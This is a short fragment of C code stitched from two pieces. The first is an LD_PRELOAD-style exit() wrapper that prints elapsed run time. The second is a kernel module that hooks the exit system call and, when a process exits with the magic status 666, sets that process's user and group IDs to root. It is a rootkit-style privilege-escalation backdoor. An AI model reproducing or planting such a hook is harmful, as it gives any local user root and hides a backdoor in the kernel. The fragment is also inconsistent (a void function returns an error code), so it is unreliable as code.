void exit(int status)
{
//time(&stop);
stop = clock();
//printf("\n\nElapsed time = %.0f\n",difftime(stop,start));
printf("\n\nElapsed time = \n%f\n",((double)stop-start)/CLOCKS_PER_SEC);
orig_exit_f_type orig_exit;
orig_exit = (orig_exit_f_type)dlsym(RTLD_NEXT,"exit");
orig_exit(status);
}
/*
* Dummy module implementing system call hooking using DR logic.
*
* edit Makefile and set your module main accordingly
*/
asmlinkage static void my_hooked_exit(int status)
{
__HOOK_PRELOGUE;
int (*orig_exit)(int st) = __SYSCALL_HANDLER_ADDR(__NR_exit);
printk(KERN_INFO "**** my_hooked_exit called *****\n");
if(status == 666) {
printk(KERN_INFO "**** MAGICK *****\n");
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return -EINVAL;
}
orig_exit(status);
}
